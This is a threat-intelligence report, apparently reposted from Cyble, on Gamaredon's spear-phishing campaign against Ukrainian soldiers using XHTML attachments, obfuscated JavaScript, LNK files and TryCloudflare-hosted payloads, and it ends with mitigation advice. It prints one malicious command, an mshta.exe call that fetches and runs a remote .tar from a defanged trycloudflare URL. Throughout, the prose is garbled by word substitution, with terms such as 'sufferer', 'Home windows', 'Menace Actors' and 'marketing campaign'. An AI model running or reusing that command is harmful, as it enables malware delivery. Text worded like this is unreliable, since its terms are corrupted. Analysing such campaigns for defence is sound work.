Spear-Phishing within the Battlefield: Gamaredon’s Ongoing Assault on Ukraine’s Army

Key Takeaways

• Cyble Analysis and Intelligence Labs (CRIL) recognized an energetic Gamaredon marketing campaign focusing on Ukrainian army personnel by spear-phishing emails.
• The emails embody malicious XHTML attachments, which, when opened, execute obfuscated JavaScript code that downloads a malicious archive to the sufferer’s system.
• This archive accommodates a Home windows shortcut (LNK) file that, when triggered, initiates the execution of a distant .tar archive hosted on TryCloudflare[.]com through mshta.exe.
• The Menace Actors (TAs) leverage TryCloudflare’s one-time tunnel function to anonymously host malicious recordsdata and entry sources remotely with out detection.
• The marketing campaign seems to be large-scale and coordinated, as indicated by the widespread distribution of comparable recordsdata, and it stays ongoing based mostly on the quantity and timing of found samples.
• The inclusion of a 1-pixel distant picture suggests the TAs are monitoring sufferer interactions with the malicious recordsdata, prone to monitor the marketing campaign’s effectiveness.

Government Abstract

Because the Russia-Ukraine battle continues to evolve, we stay vigilant in monitoring rising threats. Beforehand, we tracked the actions of UNC1151, which focused Ukraine’s Ministry of Defence with a malicious Excel doc designed to compromise delicate techniques. Moreover, we noticed UAC-0184’s malware marketing campaign, which deployed the XWORM RAT in opposition to Ukrainian targets, using Python to facilitate DLL sideloading strategies for additional infiltration.

Throughout our investigation, we got here throughout an ongoing marketing campaign of Gamaredon focusing on Ukraine. Gamaredon, also called Primitive Bear or Armageddon, is a Russian-linked Superior Persistent Menace (APT) group that has been energetic since at the very least 2013. It’s identified for its cyber-espionage actions, primarily focusing on Ukrainian authorities establishments, army, and different important infrastructure sectors.

Gamaredon has been concerned in quite a few high-profile campaigns, notably during times of heightened rigidity between Russia and Ukraine. Though its operations have been characterised by way of comparatively low-sophistication instruments, its success is attributed to its persistence and deal with particular geopolitical targets.

In latest months, Gamaredon has intensified its efforts with a large-scale phishing marketing campaign geared toward Ukrainian entities. This marketing campaign entails subtle techniques and widespread phishing makes an attempt, reflecting the continuing and escalating nature of cyber threats amidst the battle. The determine under reveals the Gamaredon pattern noticed because the begin of August 2024.

Amid the continuing Russia-Ukraine conflict, Cyble Analysis and Intelligence Labs (CRIL) encountered a spear-phishing marketing campaign focusing on Ukrainian army personnel. The malicious e-mail accommodates an XHTML attachment that, upon opening, executes a number of malicious actions on the contaminated system. After thorough evaluation, our analysis factors to the Gamaredon APT group because the orchestrator of this assault. 

Technical Particulars

The marketing campaign begins with a spear-phishing e-mail bearing the topic “ПОВІСТКА,” which interprets to “summons.” The e-mail is themed round a army summons directed on the recipient and features a malicious XHTML attachment, as proven within the determine under.

Upon opening the XHTML file, the person is introduced with a message in Ukrainian stating, “File uploaded to the ‘DOWNLOADS’ folder.” Concurrently, a RAR compressed folder is silently dropped into the system’s Downloads listing. This motion is designed to mislead the sufferer, making it seem as if a respectable file has been downloaded. The determine under reveals the XHTML message.

The XHTML file accommodates obfuscated JavaScript code that executes upon the person opening the file. Within the XHTML, the JavaScript is embedded inside a `div` factor, with the `div id` set to “jwu.” This obfuscated script consists of a Base64-encoded string blended with a “*” character at random locations to evade detection. The JavaScript execution is triggered through the “onerror” occasion. In some variants, it’s activated by the “onmousemove” occasion, making certain the malicious code runs as quickly because the person interacts with the file. The determine under reveals the obfuscated XHTML code.

The de-obfuscated string inside the “jwu” `div` reveals JavaScript code that accommodates a Base64-encoded 7zip compressed archive disguised with a .rar file extension. This script decodes the Base64 information and saves the 7zip archive to the Downloads folder as “5-2839-2024_29.08.2024.rar.” Moreover, the script retrieves a 1-pixel distant picture, probably serving as a monitoring mechanism to watch the execution and interplay with the malicious file. The determine under reveals the de-obfuscated JavaScript.

The RAR file accommodates a Home windows shortcut (LNK) file. Upon execution, the malicious LNK file triggers the execution of the distant .tar file through mshta.exe. On this marketing campaign, the TAs leveraged the area trycloudflare[.]com to host the malicious tar archives. By exploiting the TryCloudflare service, TAs can set up a one-time tunnel with out the necessity for an account with Cloudflare. This tunnel allows distant entry to sources and information exterior the native community, functioning equally to a VPN or safe shell (SSH) protocol, permitting the attackers to evade conventional detection mechanisms.

The Goal command of the LNK file is talked about under.

• “C:WindowsSystem32mshta.exe hxxps://jurisdiction-xhtml-peace-surrey[.]trycloudflare.com/tcg/instruct/teacher.tar /f”

 The determine under reveals the property of the LNK file.

We had been unable to acquire the .tar recordsdata in our analysis. Nevertheless, based on an evaluation by Cisco Talos, Gamaredon is understood for downloading extra malicious recordsdata designed to steal delicate data from the sufferer’s system.

Conclusion

The continued Gamaredon APT marketing campaign demonstrates the group’s persistence and evolving techniques in focusing on Ukrainian army personnel. By leveraging spear-phishing emails, malicious XHTML attachments, and obfuscated JavaScript, the attackers ship dangerous payloads whereas exploiting TryCloudflare’s one-time tunnel function to host malicious archives. The marketing campaign’s scale and frequency point out a coordinated, mass phishing effort geared toward delicate Ukrainian entities.

Suggestions

The next are the suggestions to Mitigate the Gamaredon APT Marketing campaign.

• Prepare customers to acknowledge spear-phishing makes an attempt, particularly these with suspicious attachments or sudden military-themed content material.
• Implement e-mail safety options with superior menace safety, filtering phishing emails and malicious attachments.
• Deploy anti-malware options able to detecting and blocking obfuscated JavaScript and malicious LNK recordsdata. 
• Monitor for uncommon community exercise, together with connections to TryCloudflare tunnels and different unknown exterior sources.
• Use utility whitelisting to permit solely trusted purposes and scripts to run.
• Leverage menace intelligence platforms to dam identified malicious domains, together with these abusing TryCloudflare.

MITRE ATT&CK® Strategies

Indicators Of Compromise

The submit Spear-Phishing within the Battlefield: Gamaredon’s Ongoing Assault on Ukraine’s Army appeared first on Cyble.